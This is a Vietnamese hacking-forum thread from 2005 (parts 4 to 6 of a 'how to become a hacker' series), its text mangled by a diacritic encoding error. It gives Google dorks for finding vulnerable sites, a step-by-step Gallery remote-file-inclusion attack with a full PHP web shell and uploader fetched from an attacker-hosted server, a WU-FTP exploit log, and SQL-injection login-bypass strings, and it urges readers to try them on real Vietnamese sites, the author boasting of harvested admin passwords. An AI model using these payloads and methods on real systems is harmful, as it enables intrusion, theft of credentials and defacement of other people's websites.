=================================================== =

Ở phần 4 tôi sẽ ðề cập ðến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sõ các býớc khi ta quyết ðịnh hack một trang Web , kỹ thuật tìm ra lỗi trang Web ðể thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….

tk_nam
15-11-2005, 06:41 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 4



26 . ) Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả nãng sử dụng RPC ðể thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thý viện và các dịch vụ cho phép các ứng dụng phân tán hoạt ðộng ðýợc trong môi trýờng Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác ðịnh nào ðó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

_Microsoft RPC sử dụng name service provider ðể ðịnh vị Servers trên mạng. Microsoft RPC name service provider phải ði liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài ðặt Windows NT, Microsoft Locator tự ðộng ðýợc chọn nhý là name service provider. Nó là name service provider tối ýu nhất trên môi trýờng mạng Windows NT.

27 . ) Kỹ thuật ðõn giản ðể chống lại sự xâm nhập trái phép khi ðang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình ðang có ngýời xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức nãng remote procedure call thì hiện tại không có chýõng trình nào có thể remote desktop ðể theo dõi bạn ðýợc . Nó còn chống ðýợc hầu hết tools xâm nhập vào máy ( vì ða số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan ða số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Ðây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhýng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy ðýợc các chýõng trình có liên quan ðến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn týõng ðối an toàn rồi ðó .

( Dựa theo bài viết của huynh “Ðời nhý củ khoai ” khoaimi – admin của HVA )

28 . ) Những býớc ðể hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì ðể hack một trang Web thông thýờng ta thực hiện những býớc sau :
+ FootPrinting : ( In dấu chân )
Ðây là cách mà hacker làm khi muốn lấy một lýợng thông tin tối ða về máy chủ/doanh nghiệp/ngýời dùng. Nó bao gồm chi tiết về ðịa chỉ IP, Whois, DNS ..v.v ðại khái là những thong tin chính thức có lien quan ðến mục tiêu. Nhiều khi ðõn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng ðể tìm những thong tin ðó.
+ Scanning : ( Quét thãm dò )
Khi ðã có những thông tin ðó rồi, thì tiếp ðến là ðánh giá và ðịnh danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác ðịnh hệ ðiều hành, .v.v.. Các công cụ ðýợc sử dụng ở ðây nhý nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Býớc thứ ba là tìm kiếm những tài nguyên ðýợc bảo vệ kém, hoạch tài khoản ngýời dùng mà có thể sử dụng ðể xâm nhập. Nó bao gồm các mật khẩu mặc ðịnh, các script và dịch vụ mặc ðịnh. Rât nhiều ngýời quản trị mạng không biết ðến hoặc không sửa ðổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có ðýợc ở ba býớc trên. Phýõng pháp ðýợc sử dụng ở ðây có thể là tấn công vào lỗi tràn bộ ðệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trýờng hợp) password. Các công cụ thýờng ðýợc sử dụng ở býớc này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang ðặc quyền )
Ví dụ trong trýờng hợp hacker xâm nhập ðựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng ðể leo thang ðặc quyền. John và Riper là hai chýõng trình crack password rất hay ðýợc sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sõ hở )
Thêm một lần nữa các máy tìm kiếm lại ðựõc sử dụng ðể tìm các phýõng pháp truy cập vào mạng. Những file text chứa password hay các cõ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi ðã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ ðiều hành làm cho ngýời quản lý không nhận ra hệ thống ðã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo ðýợc dễ dàng hõn )
Hacker ðể lại ``Back Doors``, tức là một cõ chế cho phép hacker truy nhập trở lại bằng con ðýờng bí mật không phải tốn nhiều công sức, bằng việc cài ðặt Trojan hay tạo user mới (ðối với tổ chức có nhiều user). Công cụ ở ðây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phýõng tiện cuối cùng ðể tấn công hệ thống. Nếu hệ thống không ðýợc cấu hình ðúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trýờng hợp khác thì DoS sẽ làm cho hệ thống không hoạt ðộng ðýợc nữa. Các công cụ hay ðýợc sử dụng ðể tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình ðộ của mình mà một hacker bỏ qua býớc nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ ðến câu “ biết ngýời biết ta trãm trận trãm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết ðến các trang Web chuyên dùng ðể tìm kiếm thông tin trên mạng chứ ? Nhýng các bạn chắc cũng không ngờ là ta có thể dùng những trang ðó ðể tìm những trang Web bị lỗi ( Tôi vẫn thýờng dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm ðến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và ðánh ðoạn lỗi ðó vào sau “allinurl : ” . VD ta có ðoạn mã lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ ðánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web ðang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dýới cùng của mỗi mẫu liệt kê ( dòng ðịa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang ðó ðã hoặc ðang bị lỗi .Các bạn có xâm nhập vào ðýợc hay không thì cũng còn tuỳ vào trang Web ðó ðã fix lỗi này hay chýa nữa .
_ Các bạn quan tâm ðến lỗi forum , các bạn muốn tìm forum dạng này ðể thực tập , chỉ cần nhập từ khoá

powered by

VD sau là ðể tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra ðúng forum hoặc trang Web bị lỗi theo cách ðó có xác suất không cao , bạn hãy quan tâm ðến ðoạn string ðặc biệt trong URL ðặc trýng cho từng kiểu trang Web hoặc forum ðó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có ðoạn ðặc trýng sau

``/admin hay /advadmin hay /hosting``

ta hãy ðánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có ðoạn ðặc trýng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm týõng tự nhý trên .
Chỉ cần bạn biết cách tìm nhý vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu ðýợc ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web ðýợc viết bằng PHP , lợi dụng sõ hở này ta có thể lợi dụng ðể viết thêm vào ðó một mã PHP cho phép ta upload , ðó chính là mục ðích chính của ta .
_ Trýớc hết bạn hãy ðãng ký một host miễn phí , tốt nhất là bạn ðãng ký ở brinkster.com cho dễ . Sau ðó bạn mở notepad và tạo file PHP với ðoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }
echo `` ``;
? >


Ðoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhýng cùng chung một mã ) và ðặt tên là :
+ shellphp.php : file này dùng ðể chạy shell trên victim host .
+ init.php : file này dùng ðể upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhýng với ðoạn mã khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lýu ý *PATH* chúng ta sẽ thay ðổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy ðặt tên là upload.php , nó sẽ dùng ðể upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một ðống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau ðể thử xem nó còn mắc lỗI Gallery hay không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi nhý bạn ðã tìm thấy ðýợc ðốI týợng rồi ðó . Bây giờ bạn ðã có thể gõ lệnh thông qua ô chữ nhật ðó ðể hack Web của nạn nhân .
Trýớc hết bạn hãy gõ lệnh “pwd” ðể xác ðịnh ðýờng dẫn tuyệt ðối ðến thý mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại ðýờng dẫn ở phía dýớI ( Tôi sẽ sử dụng VD ðýờng dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau ðó bạn ðánh tiếp lệnh “|s –a|” ðể liệt kê các thý mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một ðống các thý mục con mà ta ðã liệt kê . Bạn hãy luôn nhớ là mục ðích của chúng ta là tìm một thý mục có thể dùng ðể upload file upload.php mà ta ðã chuẩn bị từ trýớc do ðó bạn hãy xác ðịnh cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trýờng hợp các thý mục mà có dấu “.” hoặc “..” vì ðây là thý mục gốc hoặc là thý mục ảo ( Nó thýờng ðýợc xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn ðuôi ( VD nhý config.php , check.inc .v.v… ) vì ðây là những file chứ không phải là thý mục .
+ Còn lại là những thý mục có thể upload nhýng tôi khuyên bạn nên chọn những hàng chứa tên thý mục mà có chứa số lớn hõn 1 ( Bạn có thể xác ðịnh ðýợc chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì nhý vậy vừa chắc chắn ðây là thý mục không phải thý mục ảo , vừa làm cho admin của trang Web ðó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thý mục “loveyou” có chứa 12 file có thể cho ta upload , nhý vậy ðýờng dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống nhý mã của file upload.php, nhýng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Ðồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta ðã có thể upload file upload.php lên trang Web của nạn nhân ðýợc rồi , bạn hãy nhập ðịa chỉ sau trên trình duyệt Web của bạn :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng ðể dẫn ðến ðịa chỉ file upload.php bạn ðã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào ðó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi nhý bạn ðã hoàn thành chặng ðýờng hack Web rồi ðó . Từ bây giờ bạn hãy vận dụng ðể tấn công ðối thủ nhý lấy database , password ( làm týõng tự nhý các bài hýớng dẫn hack trýớc ) , nhýng các bạn chỉ nên thực tập chứ ðừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là ðủ rồi .
Cũng nhý những lần trýớc , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

( Dựa theo hýớng dẫn hack của huynh vnofear – viethacker.net )


GOODLUCK!!!!!!!!!!!!

( Hết phần 4 )

tk_nam
15-11-2005, 06:43 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 5



31 . ) Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu ðã ðýợc nén, sau ðó kèm thêm một header và gửi ðến một máy tính khác. Ðây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa ðịa chỉ IP của ngýời gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống nhý ðến từ một ngýời khác!! Bạn có thể dùng cách này ðể tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chýõng trình cho phép bạn làm ðiều này.


32 . ) Linux là gi`:

_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HÐH. Nhân là 1 phần mềm ðảm trách chức vụ liên lạc giữa các chýõng trình ứng dụng máy tính và phần cứng. Cung cấp các chứng nãng nhý: quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất nhýng ổ cứng, màn hình, bàn phím, .... Nhýng Nhân Linux chýa phải là 1 HÐH, vì thế nên Nhân Linux cần phải liên kết với những chýõng trình ứng dụng ðýợc viết bởi tổ chức GNU tạo lên 1 HÐH hoàn chỉnh: HÐH Linux. Ðây cũng là lý do tại sao chúng ta thấy GNU/Linux khi ðýợc nhắc ðến Linux.
Tiếp theo, 1 công ty hay 1 tổ chức ðứng ra ðóng gói các sản phẩm này ( Nhân và Chýõng trình ứng dụng ) sau ðó sửa chữa một số cấu hình ðể mang ðặc trýng của công ty/ tổ chức mình và làm thêm phần cài ðặt ( Installation Process ) cho bộ Linux ðó, chúng ta có : Distribution. Các Distribution khác nhau ở số lýợng và loại Software ðýợc ðóng gói cũng nhý quá trình cài ðặt, và các phiên bản của Nhân. 1 số Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse .

33 . ) Các lệnh cãn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux :

_ Lệnh `` man`` : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay :
Cấu trúc lệnh : $ man .
Ví dụ : $ man man
_ Lệnh `` uname ``: cho ta biết các thông tin cõ bản về hệ thống
Ví dụ : $uname -a ; nó sẽ ðýa ra thông tin sau :

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown

_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )

_ Lệnh w : xem các user ðang login và action của họ trên hệ thống .
Ví Dụ : $w nó sẽ ðýa ra thông tin sau :

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

_ Lệnh ps: xem thông tin các process trên hệ thống
Ví dụ : $ps axuw
_ Lệnh cd : bạn muốn di chuyển ðến thý mục nào . phải nhờ ðến lệnh này .
Ví du : $ cd /usr/bin ---- > nó sẽ ðýa bạn ðến thý mục bin
_ Lệnh mkdir : tạo 1 thý mục .
Ví dụ : $ mkdir /home/convit --- > nó sẽ tạo 1 thý mục convit trong /home
_ Lệnh rmdir : gỡ bỏ thý mục
Ví dụ : $ rmdir /home/conga ---- > nó sẽ gỡ bỏ thý mục conga trong /home .
_ Lệnh ls: liệt kê nội dung thý mục
Ví dụ : $ls -laR /
_ Lệnh printf: in dữ liệu có ðịnh dạng, giống nhý sử dựng printf() của C++ .
Ví dụ : $printf %s ``\x41\x41\x41\x41``
_ Lệnh pwd: ðýa ra thý mục hiện hành
Ví dụ : $pwd ------ > nó sẽ cho ta biết vị trí hiện thời của ta ở ðâu : /home/level1
_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file
Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----- > nó sẽ del file blah .
Làm týõng tự ðối với các lệnh cp , mv .
_ Lệnh find : tìm kiếm file, thý mục
Ví dụ : $find / -user level2
_ Lệnh grep: công cụ tìm kiếm, cách sử dụng ðõn giản nhất : grep ``something``
Vidu : $ps axuw | grep ``level1``
_ Lệnh Strings: in ra tất cả các ký tự in ðýợc trong 1 file. Dùng nó ðể tìm các khai báo hành chuỗi trong chýõng trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa
VD: $strings /usr/bin/level1
_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích ðể theo dõi flow của chýõng trình, cách nhanh nhất ðể xác ðịnh chýõng trình bị lỗi ở ðoạn nào. Trên các hệ thống unix khác, tool týõng ðýõng là truss, ktrace .
Ví dụ : $strace /usr/bin/level1
_ Lệnh`` cat, more ``: in nội dung file ra màn hình

$cat /etc/passwd | more -- > nó sẽ ðýa ra nội dung file passwd một cách nhanh nhất .
$more /etc/passwd ---- > Nó sẽ ðýa ra nội dung file passwd một cách từ từ .

_ Lệnh hexdump : in ra các giá trị týõng ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào .
Ví dụ : $echo AAAA | hexdump
_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .
Ví dụ : $gcc -o -g bof bof.c
Ví dụ : $make bof
Ví dụ : $gdb level1
(gdb) break main
(gdb) run
_ Lệnh perl: một ngôn ngữ
Ví dụ : $perl -e `print ``A``x1024` | ./bufferoverflow ( Lỗi tràn bộ ðệm khi ta ðánh vào 1024 kí tự )
_ Lệnh ``bash`` : ðã ðến lúc tự ðộng hoá các tác vụ của bạn bằng shell script, cực mạnh và linh hoạt .
Bạn muốn tìm hiểu về bash , xem nó nhý thế nào :
$man bash
_ Lệnh ls : Xem nội dung thý mục ( Liệt kê file trong thý mục ) .
Ví Dụ : $ ls /home ---- > sẽ hiện toàn bộ file trong thý mục Home
$ ls -a ----- > hiện toàn bộ file , bao gồm cả file ẩn
$ ls -l ----- > ðýa ra thông tin về các file
_ Lệnh ghi dữ liệu ðầu ra vào 1 file :
Vídụ : $ ls /urs/bin > ~/convoi ------ > ghi dữ liệu hiển thị thông tin của thý mục bin vào 1 file convoi .

34 . ) Những hiểu biết cõ bản xung quanh Linux :

a . ) Một vài thý mục quan trọng trên server :

_ /home : nõi lýu giữ các file ngýời sử dụng ( VD : ngýời ðãng nhập hệ thống có tên là convit thì sẽ có 1 thý mục là /home/convit )
_ /bin : Nõi xử lý các lệnh Unix cõ bản cần thiết nhý ls chẳng hạn .
_ /usr/bin : Nõi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi ngýời sử dụng ðặc biệt và dùng quản trị hệ thống .
_ /bot : Nõi mà kernel và các file khác ðýợc dùng khi khởi ðộng .
_ /ect : Các file hoạt ðộng phụ mạng , NFS (Network File System ) Thý tín ( Ðây là nõi trọng yếu mà chúng ta cần khai thác nhiều nhất )
_ /var : Các file quản trị
_ /usr/lib : Các thý viện chuẩn nhý libc.a
_ /usr/src : Vị trí nguồn của các chýõng trình .

b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :

CODE
AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *


35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server :

_ WU-FTP Server (ðýợc phát triển bởi ðại Học Washington ) là một phần mềm Server phục vụ FTP ðýợc dùng khá phổ biến trên các hệ thống Unix & Linux ( tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows.... , các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi ðè lên file có trên hệ thống .
_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội ðủ những ðiều kiện sau :
+ Phải có account trên server .
+ Phải ðặt ðýợc Shellcode vào trong bộ nhớ Process của Server .
+ Phải gửi một lệnh FTP ðặc biệt chứa ðựng một globbing mẫu ðặc biệt mà không bị server phát hiện có lỗi .
+ Hacker sẽ ghi ðè lên một Function, Code tới một Shellcode, có thể nó sẽ ðýợc thực thi bới chính Server FTP .
_ Ta hãy phân tích VD sau về việc ghi ðè lên file của server FTP :

CODE
ftp > open localhost <== lệnh mở trang bị lỗi .
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP server .
Name (localhost:root): anonymous <== Nhập tên chỗ này
331 Guest login ok, send your complete e-mail address as password.
Password:………..<== nhập mật khẩu ở ðây
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files. <== sử dụng biến nhị phân ðể chuyển ðổi file .
ftp > ls ~{ <== lệnh liệt kê thý mục hiện hành .
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 .
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c


Việc khai thác qua lỗi này ðến nay tôi test vẫn chýa thành công ( chẳng biết làm sai chỗ nào ) . Vậy bạn nào làm ðýợc hãy post lên cho anh em biết nhé .
Lỗi Linux hiện nay rất ít ( ðặc biệt là ðối với Redhat ), các bạn hãy chờ ðợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai thác chúng nhý thế nào thì hỏi Mod quản lý bên ðó , ðặc biệt là bạn Leonhart , cậu ta siêng trả lời các bạn lắm .

( Dựa theo bài viết của huynh Binhnx2000 )

36 . ) Tìm hiểu về SQL Injection :

_ SQL Injection là một trong những kiểu hack web ðang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trýớc khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, thi hành lệnh từ xa, ðoạt dữ liệu và lấy root của SQL server. Công cụ dùng ðể tấn công là một trình duyệt web bất kì, chẳng hạn nhý Internet Explorer, Netscape, Lynx, ...
_ Bạn có thể kiếm ðýợc trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm ðể kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy ðýợc . VD ta xác ðịnh ðýợc trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta ðã viewsource :

CODE
<input type=hidden name=A value=C >

_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lýợt nhý sau :

- Login: hi` or 1=1--
- Pass: hi` or 1=1--

Nếu không ðýợc bạn thử tiếp với các login và pass sau :

CODE
` or 1=1--
`` or 1=1--
or 1=1--
` or `a`=`a
`` or ``a``=``a
`) or (`a`=`a

Nếu thành công, bạn có thể login vào mà không cần phải biết username và password .
Lỗi này có dính dáng ðến Query nên nếu bạn nào ðã từng học qua cõ sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách ðánh các lệnh Query trên trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hõn về lỗi này có thể tìm các bài viết của nhóm vicky ðể tìm hiểu thêm .

37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection ) :

_ Trýớc tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl : admentor” .
_ Thông thýờng bạn sẽ có kết quả sau :

http://www.someserver.com/admentor /admin/admin.asp

_ Bạn thử nhập “ ` or ``=` ” vào login và password :

CODE
Login : ` or ``=`
Password : ` or ``=`


_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin .
_ Ta hãy tìm hiểu về cách fix lỗi này nhé :
+ Lọc các ký tự ðặc biệt nhý “ ` `` ~ \ ” bằng cách chêm vào javascrip ðoạn mã sau :

CODE
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/\<|\ > |\``|\`|\%|\;|\(|\)|\&|\+|
\-/g,````);
return strTemp;
}

+ Và gọi nó từ bên trong của asp script :

CODE
var login = var TempStr = RemoveBad
(Request.QueryString(``login``));
var password = var TempStr = RemoveBad
(Request.QueryString(``password``));


- Vậy là ta ðã fix xong lỗi .

- Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu , các bạn hãy test thử xem ði , các trang Web ở Việt Nam mình bị nhiều lắm , tôi ðã kiếm ðýợc kha khá pass admin bằng cách thử này rồi ( nhýng cũng ðã báo ðể họ fix lại ) .
- Có nhiều trang khi login không phải bằng “ ` or ``=’ ” mà bằng các nick name có thật ðã ðãng ký trên trang Web ðó , ta vào link “thành viên” kiếm nick của một admin ðể test thử nhé .
Hack vui vẻ .




--------------------------------------------------------------------------------


Ở phần 6 tôi sẽ ðề cập ðến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu tấn công lợi hại ðã làm cho trang Web hùng mạnh nhý HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận ði uống cafe hết mà không ai trông coi . Kèm theo ðó là các phýõng pháp tấn công DoS ðã và ðang ðýợc sử dụng .

GOOKLUCK!!!!!!!!!!!!!!!!!!!!

tk_nam
15-11-2005, 06:44 PM
Những hiểu biết cõ bản nhất ðể trở thành Hacker - Phần 6


38.) DoS attack là gì? ( Denial Of Services Attack )

